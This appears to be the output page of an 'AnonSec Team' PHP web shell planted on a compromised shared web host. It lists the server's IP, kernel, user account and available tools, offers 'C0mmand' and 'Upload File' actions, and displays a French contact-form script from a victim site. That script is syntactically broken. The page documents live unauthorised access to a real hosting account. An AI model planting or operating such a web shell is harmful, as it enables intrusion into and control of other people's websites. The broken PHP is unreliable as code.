AnonSec Team
Server IP : 10.131.40.8  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : ludmqhh ( 137773)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ludmqhh/www/provence-plomberie/../conceptalarm/src/controller/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ludmqhh/www/provence-plomberie/../conceptalarm/src/controller/contactMod.php
<?php 

class Usedr {

function coordod
  $errors = array();

// Validate name
if(empty($_POST['nom'])){
    $errors[] = "Le champ nom est requis";
} else {
    $nom = test_input($_POST['nom']);
    // check if name only contains letters and whitespace
    if (!preg_match("/^[a-zA-Z ]*$/",$nom)) {
        $errors[] = "Seuls les lettres et les espaces sont autorisés dans le nom";
    }
}

// Validate email
if(empty($_POST['email'])){
    $errors[] = "Le champ email est requis";
} else {
    $email = test_input($_POST['email']);
    // check if email is valid
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "L'adresse email n'est pas valide";
    }
}

// Validate telephone
if(empty($_POST['telephone'])){
    $errors[] = "Le champ téléphone est requis";
} else {
    $telephone = test_input($_POST['telephone']);
    // check if telephone is valid
    if (!preg_match("/^[0-9]{10}$/",$telephone)) {
        $errors[] = "Le numéro de téléphone doit contenir 10 chiffres";
    }
}



// If there are no errors, show success message
if(empty($errors)) {
    $successMessage = "Votre message a bien été envoyé !";
}

// Function to sanitize user input
function test_input($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
}

// Return error or success message as JSON
if(!empty($errors)) {
    return json_encode(['message' => $errors]);
} else {
    return json_encode(['message' => $successMessage]);
}


}

  
}
?>

AnonSec - 2021